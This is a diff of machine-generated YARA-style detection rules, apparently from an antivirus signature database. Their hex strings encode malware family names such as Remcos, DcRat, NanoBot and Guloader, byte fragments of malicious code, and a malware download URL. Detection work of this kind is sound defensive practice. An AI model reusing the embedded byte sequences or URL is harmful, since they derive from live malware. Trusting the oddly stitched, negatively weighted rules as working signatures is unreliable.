00 78 70 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 63 75 74 65 47 61 74 65 2e 41 21 64 68 61 00 01 00 0d 01 4d 79 4e 74 64 6c 6c 4d 65 6d 6f 72 79 01 00 0e 01 4e 74 64 6c 6c 4d 65 6d 6f 72 79 20 3d 3d 01 00 0f 01 46 75 6e 63 } //27489 - $a_6e_4 = {64 64 72 65 73 73 01 00 0a 01 70 64 6f 73 20 65 72 72 6f 72 00 00 78 70 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 4e 61 6e 6f 42 6f 74 2e 41 51 21 4d 54 42 00 01 00 07 80 01 42 20 75 20 74 20 61 01 00 10 00 46 00 6f 00 72 00 6d 00 4d 00 61 00 69 00 6e 00 01 00 1e 01 55 72 6c 44 65 63 6f 64 65 54 6f 42 79 74 65 73 } //26996 - $a_61_5 = {00 47 65 74 54 79 70 65 73 01 00 07 01 52 65 70 6c 61 63 65 00 00 78 70 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0f 81 01 42 43 72 79 70 74 47 65 6e 52 61 6e 64 6f 6d 01 00 0e 81 01 52 6d 53 74 61 72 74 53 65 73 73 69 6f 6e 01 00 05 81 01 53 6c 65 } //19456 + $a_5c_3 = {69 6e 64 6f 77 73 2e 73 6e 6b 00 00 78 70 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 41 56 49 4e 21 4d 54 42 00 02 00 31 03 7b 91 00 00 04 13 06 02 11 05 11 06 28 90 01 01 01 00 06 13 07 04 03 6f 90 01 01 00 00 0a 59 13 08 11 0b 20 17 71 85 61 5a } //27489 + $a_2f_4 = {61 90 00 02 00 0d 03 02 03 04 6f 90 01 01 00 00 0a 2a 90 00 00 00 78 70 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 63 52 61 74 2e 4e 4d 4b 21 4d 54 42 00 02 00 12 81 01 62 79 74 65 73 54 6f 42 65 44 65 63 72 79 70 74 65 64 01 00 06 81 01 64 65 63 4b 65 79 01 00 22 03 02 03 02 4b 03 04 61 05 61 58 0e 07 0e 04 e0 95 58 90 01 02 00 00 04 0e 06 17 59 e0 95 58 0e 05 90 00 00 00 78 70 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 63 75 74 65 47 61 74 65 2e 41 21 64 68 61 00 01 00 0d 01 4d 79 4e 74 64 6c 6c 4d 65 6d 6f 72 79 01 00 0e } //-22496 + $a_64_5 = {6c 4d 65 6d 6f 72 79 20 3d 3d 01 00 0f 01 46 75 6e 63 74 69 6f 6e 41 64 64 72 65 73 73 01 00 0a 01 70 64 6f 73 20 65 72 72 6f 72 00 00 78 70 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 4e 61 6e 6f 42 6f 74 2e 41 51 21 4d 54 42 00 01 00 07 80 01 42 20 75 20 74 20 61 01 00 10 00 46 00 6f 00 72 00 6d 00 4d 00 61 00 69 00 6e 00 01 00 } //19969 condition: - ((#a_54_0 & 1)*18467+(#a_69_2 & 1)*11777+(#a_5c_3 & 1)*27489+(#a_6e_4 & 1)*26996+(#a_61_5 & 1)*19456) >=3 + ((#a_54_0 & 1)*18467+(#a_69_2 & 1)*11777+(#a_5c_3 & 1)*27489+(#a_2f_4 & 1)*-22496+(#a_64_5 & 1)*19969) >=3 } -rule _InfrastructureShared_6917{ +rule _InfrastructureShared_7298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 75 74 6f 72 75 6e 2e 4e 48 21 4d 54 42 00 03 00 20 01 72 a5 00 00 70 6f 28 00 00 0a 26 2b 11 06 1f 20 6f 29 00 00 0a 26 06 08 6f 28 00 00 0a 26 11 04 01 00 1f 01 73 74 72 6f 6e 67 6e 61 6d } //16675 - $a_79_1 = {5c 66 61 6b 65 5c 77 69 6e 64 6f 77 73 2e 73 6e 6b 00 00 78 70 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 63 75 74 65 47 61 74 65 2e 41 21 64 68 61 00 01 00 0d 01 4d 79 4e 74 64 6c 6c 4d 65 6d 6f 72 79 01 00 0e 01 4e 74 64 6c 6c 4d 65 6d 6f 72 79 20 3d 3d 01 } //27493 + $a_79_1 = {5c 66 61 6b 65 5c 77 69 6e 64 6f 77 73 2e 73 6e 6b 00 00 78 70 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 41 56 49 4e 21 4d 54 42 00 02 00 31 03 7b 91 00 00 04 13 06 02 11 05 11 06 28 90 01 01 01 00 06 13 07 04 03 6f 90 01 01 00 00 0a 59 13 08 11 } //27493 condition: ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*27493) >=4 } -rule _InfrastructureShared_6918{ +rule _InfrastructureShared_7299{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 41 56 49 4e 21 4d 54 42 00 02 00 31 03 7b 91 00 00 04 13 06 02 11 05 11 06 28 90 01 01 01 00 06 13 07 04 03 6f 90 01 01 00 00 0a 59 13 08 11 0b 20 17 } //21539 + $a_5a_1 = {a8 cc 2f d9 61 90 00 02 00 0d 03 02 03 04 6f 90 01 01 00 00 0a 2a 90 00 00 00 78 70 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 63 52 61 74 2e 4e 4d 4b 21 4d 54 42 00 02 00 12 81 01 62 79 74 65 73 54 6f 42 65 44 65 63 72 79 70 74 65 64 01 00 06 81 01 64 } //-31375 + condition: + ((#a_4c_0 & 1)*21539+(#a_5a_1 & 1)*-31375) >=4 + +} +rule _InfrastructureShared_7300{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 63 52 61 74 2e 4e 4d 4b 21 4d 54 42 00 02 00 12 81 01 62 79 74 65 73 54 6f 42 65 44 65 63 72 79 70 74 65 64 01 00 06 81 01 64 65 63 4b 65 79 01 00 22 03 02 03 02 4b 03 04 61 05 61 58 0e 07 } //16675 + $a_95_1 = {90 01 02 00 00 04 0e 06 17 59 e0 95 58 0e 05 90 00 00 00 78 70 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 63 75 74 65 47 61 74 65 2e 41 21 64 68 61 00 01 00 0d 01 4d 79 4e 74 64 6c 6c 4d 65 6d 6f 72 79 01 00 0e 01 4e 74 64 6c 6c 4d 65 6d 6f 72 79 20 3d 3d 01 00 0f 01 46 75 6e 63 74 69 6f 6e 41 64 64 72 65 73 73 01 00 0a 01 70 64 6f 73 20 65 72 72 6f 72 00 00 78 70 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 4e 61 6e 6f 42 6f 74 2e 41 51 21 4d 54 42 00 01 00 07 80 01 42 20 75 20 74 20 61 01 00 10 00 46 00 6f 00 72 00 6d 00 4d 00 61 00 69 00 6e 00 01 00 1e 01 55 72 6c 44 65 63 6f 64 65 54 6f 42 79 74 65 73 } //1038 + $a_61_2 = {00 47 65 74 54 79 70 65 73 01 00 07 01 52 65 70 6c 61 63 65 00 00 78 70 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0f 81 01 42 43 72 79 70 74 47 65 6e 52 61 6e 64 6f 6d 01 00 0e 81 01 52 6d 53 74 61 72 74 53 65 73 73 69 6f 6e 01 00 05 81 01 53 6c 65 } //19456 + condition: + ((#a_46_0 & 1)*16675+(#a_95_1 & 1)*1038+(#a_61_2 & 1)*19456) >=4 + +} +rule _InfrastructureShared_7301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -72364,7 +76403,7 @@ rule _InfrastructureShared_6918{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*16750+(#a_42_2 & 1)*21605+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_6919{ +rule _InfrastructureShared_7302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -72372,25 +76411,37 @@ rule _InfrastructureShared_6919{ $a_54_0 = {3a 4d 53 49 4c 2f 4e 61 6e 6f 42 6f 74 2e 41 51 21 4d 54 42 00 01 00 07 80 01 42 20 75 20 74 20 61 01 00 10 00 46 00 6f 00 72 00 6d 00 4d 00 61 00 69 00 6e 00 01 00 1e 01 55 72 6c 44 65 63 6f 64 65 54 6f 42 79 74 65 73 00 4c 6f 61 64 00 47 65 74 54 } //18467 $a_73_1 = {00 07 01 52 65 70 6c 61 63 65 00 00 78 70 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0f 81 01 42 43 72 79 70 74 47 65 6e 52 61 6e 64 6f 6d 01 00 0e 81 01 52 6d 53 74 61 72 74 53 65 73 73 69 6f 6e 01 00 05 81 01 53 6c 65 } //28793 $a_00_2 = {12 } //28773 - $a_6f_3 = {6c 6f 78 73 6f 6c 61 72 61 73 63 72 69 70 74 00 00 78 70 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 51 30 31 21 4d 54 42 00 01 00 12 81 01 64 6f 6b 75 6d 65 6e 74 61 72 72 6f 6d 61 6e 65 72 73 01 00 0a 81 01 62 6f 75 63 68 65 72 69 7a 65 01 00 0c 81 01 61 6e 61 63 68 72 6f 6d 61 73 69 } //385 + $a_6f_3 = {6c 6f 78 73 6f 6c 61 72 61 73 63 72 69 70 74 00 00 78 70 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 56 31 21 4d 54 42 00 01 00 14 81 01 62 72 6e 65 66 6f 72 73 6f 72 67 73 70 64 61 67 6f 67 65 6e 01 00 0c 81 01 6b 6c 61 74 6d 61 6c 65 72 69 65 72 01 00 0a 81 01 64 75 63 74 69 6c 69 7a 65 } //385 condition: ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28793+(#a_00_2 & 1)*28773+(#a_6f_3 & 1)*385) >=4 } -rule _InfrastructureShared_6920{ +rule _InfrastructureShared_7303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0f 81 01 42 43 72 79 70 74 47 65 6e 52 61 6e 64 6f 6d 01 00 0e 81 01 52 6d 53 74 61 72 74 53 65 73 73 69 6f 6e 01 00 05 81 01 53 6c 65 65 70 01 00 12 81 01 72 6f 62 } //18467 - $a_73_1 = {6c 61 72 61 73 63 72 69 70 74 00 00 78 70 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 51 30 31 21 4d 54 42 00 01 00 12 81 01 64 6f 6b 75 6d 65 6e 74 61 72 72 6f 6d 61 6e 65 72 73 01 00 0a 81 01 62 6f 75 63 68 65 72 69 7a 65 01 00 0c 81 01 61 6e 61 63 68 72 6f 6d 61 73 69 73 01 00 0b 81 01 66 65 72 6d 61 } //28524 - $a_65_2 = {65 00 00 78 70 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4b 75 61 69 7a 69 70 00 02 00 11 80 01 74 68 6f 72 7a 69 70 2e } //24948 - $a_69_3 = {2e 66 75 6e 01 00 0e 80 01 54 68 6f 72 55 70 64 61 74 65 2e 65 78 65 01 00 13 80 01 54 68 6f 72 46 69 6c 65 4d 61 6e 61 67 65 72 2e 65 78 65 01 00 0e 80 01 54 68 6f 72 52 65 70 6f 72 74 2e 65 78 65 00 00 78 70 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 79 73 64 75 70 61 74 65 2e 4f 00 01 00 10 03 b9 bd ca 3b d3 0f b7 c0 89 05 90 01 04 e8 } //30061 + $a_73_1 = {6c 61 72 61 73 63 72 69 70 74 00 00 78 70 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 56 31 21 4d 54 42 00 01 00 14 81 01 62 72 6e 65 66 6f 72 73 6f 72 67 73 70 64 61 67 6f 67 65 6e 01 00 0c 81 01 6b 6c 61 74 6d 61 6c 65 72 69 65 72 01 00 0a 81 01 64 75 63 74 69 6c 69 7a 65 73 01 00 0b 81 01 61 66 6c 61 64 } //28524 + $a_65_2 = {65 00 00 78 70 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 51 30 31 21 4d 54 42 00 01 00 12 81 01 64 6f 6b 75 6d 65 6e 74 61 72 72 6f 6d 61 6e 65 72 73 01 00 0a 81 01 62 6f 75 63 68 65 72 69 7a 65 01 00 0c 81 01 61 6e 61 63 68 72 6f 6d 61 73 69 73 01 00 0b 81 01 66 65 72 6d 61 74 61 2e } //25203 + $a_00_3 = {00 78 70 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4b 75 61 69 7a 69 70 00 02 00 11 80 01 74 68 6f 72 7a 69 70 2e 6d 75 78 69 6e 2e 66 75 6e 01 00 0e 80 01 54 68 6f 72 55 70 64 61 74 65 2e 65 78 65 01 00 13 80 01 54 68 6f 72 46 69 6c 65 4d 61 6e 61 67 65 72 2e 65 78 65 01 00 0e 80 01 } //30821 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28524+(#a_65_2 & 1)*24948+(#a_69_3 & 1)*30061) >=4 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28524+(#a_65_2 & 1)*25203+(#a_00_3 & 1)*30821) >=4 } -rule _InfrastructureShared_6921{ +rule _InfrastructureShared_7304{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 56 31 21 4d 54 42 00 01 00 14 81 01 62 72 6e 65 66 6f 72 73 6f 72 67 73 70 64 61 67 6f 67 65 6e 01 00 0c 81 01 6b 6c 61 74 6d 61 6c 65 72 69 65 72 01 00 0a 81 01 64 75 63 74 69 6c 69 7a 65 73 01 } //18467 + $a_01_1 = {61 66 6c 61 64 73 62 72 65 76 65 00 00 78 70 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 51 30 31 21 4d 54 42 00 01 00 12 81 01 64 6f 6b 75 6d 65 6e 74 61 72 72 6f 6d 61 6e 65 72 73 01 00 0a 81 01 62 6f 75 63 68 65 72 69 7a 65 01 00 0c 81 01 61 6e 61 63 68 72 6f 6d 61 73 69 73 01 00 0b 81 01 66 65 72 6d 61 74 61 2e 65 78 65 00 00 } //2816 + $a_00_3 = {04 00 21 23 } //4 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2816+(#a_00_3 & 1)*4) >=4 + +} +rule _InfrastructureShared_7305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -72402,20 +76453,33 @@ rule _InfrastructureShared_6921{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2816+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_6922{ +rule _InfrastructureShared_7306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 4b 75 61 69 7a 69 70 00 02 00 11 80 01 74 68 6f 72 7a 69 70 2e 6d 75 78 69 6e 2e 66 75 6e 01 00 0e 80 01 54 68 6f 72 55 70 64 61 74 65 2e 65 78 65 01 00 13 80 01 54 68 6f 72 46 69 6c 65 4d 61 6e 61 67 65 72 2e 65 78 65 01 00 0e 80 01 54 } //20515 - $a_52_1 = {70 6f 72 74 2e 65 78 65 00 00 78 70 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 79 73 64 75 70 61 74 65 2e 4f 00 01 00 10 03 b9 bd ca 3b d3 0f b7 c0 89 05 90 01 04 e8 90 00 01 00 10 03 b9 89 4d 39 8c 0f b7 c0 89 05 90 01 04 e8 90 00 01 00 10 03 b9 74 eb 1d 4d 0f b7 c0 89 05 90 01 04 e8 90 00 01 00 10 03 b9 b2 c1 06 ae 0f } //28520 - $a_05_2 = {90 01 04 e8 90 00 00 00 78 70 00 00 04 00 04 00 05 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0b 01 4e 6f 74 65 70 61 64 50 6c 75 73 01 00 0c 00 73 00 61 00 6b 00 75 00 72 00 61 00 01 00 0c 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0b 01 44 65 6c 65 74 65 46 69 6c 65 41 01 00 0b 01 43 72 65 61 74 65 46 69 6c 65 41 00 00 78 70 00 00 05 00 04 00 03 00 21 23 48 } //-16201 - $a_3a_3 = {61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 41 67 65 6e 74 2e 4f 57 21 43 2e 31 00 02 00 1b 00 68 74 74 70 3a 2f 2f 35 32 31 62 62 73 2e 79 69 2e 6f 72 67 2f 6d 73 2e 65 78 65 02 00 17 02 63 3a 5c 44 6f 63 75 6d 65 7e 31 5c 7e 23 90 01 01 2e 65 78 } //21587 + $a_52_1 = {70 6f 72 74 2e 65 78 65 00 00 78 70 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 50 6c 61 79 61 6e 65 78 74 00 02 00 0b 80 01 75 70 63 6c 69 63 6b 2e 63 6f 6d 01 00 13 80 01 50 6c 61 79 61 53 44 4b 20 4c 6f 61 64 4f 66 66 65 72 73 01 00 14 80 01 70 6c 61 79 61 2d 6e 65 78 74 2d 6f 66 66 65 72 2e 68 74 6d 01 00 0c 80 01 70 64 } //28520 + $a_63_2 = {69 74 65 63 74 00 00 78 70 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 79 73 64 75 70 61 74 65 2e 4f 00 01 00 10 03 b9 bd ca 3b d3 0f b7 c0 89 05 90 01 04 e8 90 00 01 00 10 03 b9 89 4d 39 8c 0f b7 c0 89 05 90 01 04 e8 90 00 01 00 10 03 b9 74 eb 1d 4d 0f b7 c0 89 05 90 01 04 e8 90 00 01 00 10 03 b9 b2 c1 06 ae 0f b7 c0 89 } //24934 + $a_04_3 = {e8 } //-28667 condition: - ((#a_41_0 & 1)*20515+(#a_52_1 & 1)*28520+(#a_05_2 & 1)*-16201+(#a_3a_3 & 1)*21587) >=4 + ((#a_41_0 & 1)*20515+(#a_52_1 & 1)*28520+(#a_63_2 & 1)*24934+(#a_04_3 & 1)*-28667) >=4 } -rule _InfrastructureShared_6923{ +rule _InfrastructureShared_7307{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 50 6c 61 79 61 6e 65 78 74 00 02 00 0b 80 01 75 70 63 6c 69 63 6b 2e 63 6f 6d 01 00 13 80 01 50 6c 61 79 61 53 44 4b 20 4c 6f 61 64 4f 66 66 65 72 73 01 00 14 80 01 70 6c 61 79 61 2d 6e 65 78 74 2d 6f 66 66 65 72 2e 68 74 6d 01 00 0c 80 } //20515 + $a_66_1 = {72 63 68 69 74 65 63 74 00 00 78 70 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 79 73 64 75 70 61 74 65 2e 4f 00 01 00 10 03 b9 bd ca 3b d3 0f b7 c0 89 05 90 01 04 e8 90 00 01 00 10 03 b9 89 4d 39 8c 0f b7 c0 89 05 90 01 04 e8 90 00 01 00 10 03 b9 74 eb 1d 4d 0f b7 c0 89 05 90 01 } //28673 + $a_00_2 = {01 00 10 03 b9 b2 c1 06 ae 0f b7 c0 89 05 90 01 04 e8 90 00 00 00 78 70 00 00 04 00 04 00 05 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0b 01 4e 6f 74 65 70 61 64 50 6c 75 73 01 00 0c 00 73 00 61 00 6b 00 75 00 72 00 61 00 01 00 0c 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0b 01 44 65 6c 65 74 65 46 69 6c 65 41 01 00 0b 01 43 72 65 61 74 65 46 69 6c 65 41 00 00 78 70 00 00 05 00 } //-6140 + $a_00_3 = {21 23 48 } //4 !#H + condition: + ((#a_41_0 & 1)*20515+(#a_66_1 & 1)*28673+(#a_00_2 & 1)*-6140+(#a_00_3 & 1)*4) >=4 + +} +rule _InfrastructureShared_7308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -72423,62 +76487,96 @@ rule _InfrastructureShared_6923{ $a_46_0 = {57 69 6e 36 34 2f 53 79 73 64 75 70 61 74 65 2e 4f 00 01 00 10 03 b9 bd ca 3b d3 0f b7 c0 89 05 90 01 04 e8 90 00 01 00 10 03 b9 89 4d 39 8c 0f b7 c0 89 05 90 01 04 e8 90 00 01 00 10 03 b9 74 eb 1d 4d 0f b7 c0 89 05 90 01 04 e8 } //21283 $a_00_1 = {10 } //144 $a_c1_2 = {ae 0f b7 c0 89 05 90 01 04 e8 90 00 00 00 78 70 00 00 04 00 04 00 05 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0b 01 4e 6f 74 65 70 61 64 50 6c 75 73 01 00 0c 00 73 00 61 00 6b 00 75 00 72 00 61 00 01 00 0c 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0b 01 44 65 6c 65 74 65 46 69 6c 65 41 01 00 0b 01 43 72 65 61 74 65 46 69 6c 65 41 00 00 78 70 00 00 05 00 04 00 03 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 41 67 65 6e 74 2e 4f 57 21 43 2e 31 00 02 00 1b } //-18173 - $a_74_3 = {3a 2f 2f 35 32 31 62 62 73 2e 79 69 2e 6f 72 67 2f 6d 73 2e 65 78 65 02 00 17 02 63 3a 5c 44 6f 63 75 6d 65 7e 31 5c 7e 23 90 01 01 2e 65 78 65 90 00 01 00 07 00 2e 73 68 6f 6f 6f 6f 00 00 78 70 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 53 75 73 70 69 63 69 6f 75 73 53 74 72 69 6e 67 21 4d 54 42 00 05 00 1c 01 57 50 6c 68 68 68 70 4d 48 49 47 } //26624 + $a_74_3 = {3a 2f 2f 35 32 31 62 62 73 2e 79 69 2e 6f 72 67 2f 6d 73 2e 65 78 65 02 00 17 02 63 3a 5c 44 6f 63 75 6d 65 7e 31 5c 7e 23 90 01 01 2e 65 78 65 90 00 01 00 07 00 2e 73 68 6f 6f 6f 6f 00 00 78 70 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 45 46 44 21 4d 54 42 00 05 } //26624 condition: ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*144+(#a_c1_2 & 1)*-18173+(#a_74_3 & 1)*26624) >=4 } -rule _InfrastructureShared_6924{ +rule _InfrastructureShared_7309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0b 01 4e 6f 74 65 70 61 64 50 6c 75 73 01 00 0c 00 73 00 61 00 6b 00 75 00 72 00 61 00 01 00 0c 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0b 01 44 65 6c 65 74 65 46 69 6c 65 41 01 00 0b 01 43 72 65 61 74 65 46 69 6c 65 41 00 00 78 70 00 00 05 00 04 00 03 00 21 } //25635 $a_54_1 = {3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 41 67 65 6e 74 2e 4f 57 21 43 2e 31 00 02 00 1b 00 68 74 74 70 3a 2f 2f 35 32 31 62 62 73 2e 79 69 2e 6f 72 67 2f 6d 73 2e 65 78 65 02 00 17 02 63 3a 5c 44 6f 63 75 6d 65 7e 31 5c 7e 23 90 01 01 2e 65 } //18467 - $a_00_2 = {01 00 07 00 2e 73 68 6f 6f 6f 6f 00 00 78 70 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 53 75 73 70 69 63 69 6f 75 73 53 74 72 69 6e 67 21 4d 54 42 00 05 00 1c 01 57 50 6c 68 68 68 70 4d 48 49 47 53 68 69 6c 4e 4a 4a 54 74 64 6f 79 68 41 6d 4e 78 05 00 28 01 42 65 68 65 65 72 41 70 70 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 70 00 00 05 00 05 00 04 00 21 23 48 53 54 } //25976 - $a_6e_3 = {65 6e 74 54 6f 49 6e 6a 65 63 74 4d 61 70 56 69 65 77 00 01 00 0b 80 01 4f 70 65 6e 50 72 6f 63 65 73 73 01 00 0d 80 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 02 00 12 80 01 43 72 65 61 74 65 46 69 6c 65 4d 61 70 70 69 } //14930 - $a_02_4 = {00 0d 80 01 4d 61 70 56 69 65 77 4f 66 46 69 6c 65 00 00 78 70 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 57 53 3a 57 69 6e 33 32 2f 46 72 65 74 68 6f 67 2e 4c 00 01 00 10 01 51 33 36 30 53 61 } //26478 + $a_00_2 = {01 00 07 00 2e 73 68 6f 6f 6f 6f 00 00 78 70 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 45 46 44 21 4d 54 42 00 05 00 3a 01 00 02 1a 11 10 5a 1a 6f 18 00 00 0a 28 02 00 00 06 13 11 11 11 16 11 0b 11 10 19 5a 11 11 8e 69 28 2f 00 00 0a 00 00 11 10 17 58 13 10 11 10 07 1a 5b fe 04 13 12 11 12 2d c6 00 00 78 70 00 00 05 00 05 00 02 00 21 23 48 53 54 } //25976 + $a_75_3 = {70 69 63 69 6f 75 73 53 74 72 69 6e 67 21 4d 54 42 00 05 00 1c 01 57 50 6c 68 68 68 70 4d 48 49 47 53 68 69 6c 4e 4a 4a 54 74 64 6f 79 68 41 6d 4e 78 05 00 28 01 42 65 68 65 65 72 41 70 70 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 } //14930 + $a_65_4 = {6f 75 72 63 65 73 00 00 78 70 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 7a 79 2e 53 58 43 21 4d 54 42 00 03 00 19 03 8d 04 24 50 e8 90 01 04 84 c0 74 0c ff 34 24 e8 90 01 04 84 c0 75 e1 90 00 02 00 27 03 6a 00 b8 04 00 00 00 2b c6 50 8d 04 3e 50 ff b3 c8 21 00 00 ff 15 90 01 04 83 f8 ff 74 1a 03 } //11891 condition: - ((#a_5f_0 & 1)*25635+(#a_54_1 & 1)*18467+(#a_00_2 & 1)*25976+(#a_6e_3 & 1)*14930+(#a_02_4 & 1)*26478) >=4 + ((#a_5f_0 & 1)*25635+(#a_54_1 & 1)*18467+(#a_00_2 & 1)*25976+(#a_75_3 & 1)*14930+(#a_65_4 & 1)*11891) >=4 } -rule _InfrastructureShared_6925{ +rule _InfrastructureShared_7310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 04 00 03 00 21 " strings : $a_54_0 = {3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 41 67 65 6e 74 2e 4f 57 21 43 2e 31 00 02 00 1b 00 68 74 74 70 3a 2f 2f 35 32 31 62 62 73 2e 79 69 2e 6f 72 67 